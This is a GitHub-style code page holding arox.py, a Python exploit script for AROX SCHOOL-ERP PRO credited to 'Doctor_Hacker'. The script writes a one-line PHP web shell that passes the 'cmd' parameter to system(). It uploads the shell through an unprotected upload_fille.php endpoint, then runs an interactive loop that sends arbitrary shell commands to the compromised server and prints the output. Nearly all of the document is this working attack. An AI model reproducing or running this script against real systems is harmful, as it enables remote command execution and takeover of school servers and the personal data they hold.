-
Notifications
You must be signed in to change notification settings - Fork 0
/
arox.py
51 lines (40 loc) · 1.26 KB
/
arox.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Exploit Title : AROX SCHOOL-ERP PRO
# Date : 26 June 2019
# Exploit Author : Doctor_Hacker
# Version : N/A
# Tested on : Windows
import requests
#Define IP and port.
IP='127.0.0.1'
port=80
#Buld URL String
url='http://'+IP+':'+str(port)+'/greatbritain/greatbritain/upload_fille.php'
#Get session headers
my_session = requests.Session()
#Build shell file to upload.
text_file=open ("shell.php","w")
text_file.write ('<?PHP system($_GET["cmd"]); ?>'+'\n')
text_file.close()
#Upload the file.
myfile = {'txtdocname': open('shell.php' ,'rb')}
tosend = requests.post(url, files = myfile, data={'btnsubmit':'Submit'})
try:
#The string "Successfully Uploaded" should be in the response.
if (tosend.text).index('Successfully Uploaded')>0:
print ("Shell successful!")
#Create a shell.
print ("Type: exit to break")
while True:
#Get the command
cmd = input('shell@'+IP+':~# ')
#Send the command
url='http://'+IP+'/greatbritain/greatbritain/upload_data/shell.php?cmd='+cmd
#Get response and display.
response = requests.get(url)
print(response.text)
#exit to break.
if cmd.strip() == 'exit':
break
except:
print ("The exploit failed for ome reason.")
# And sleep............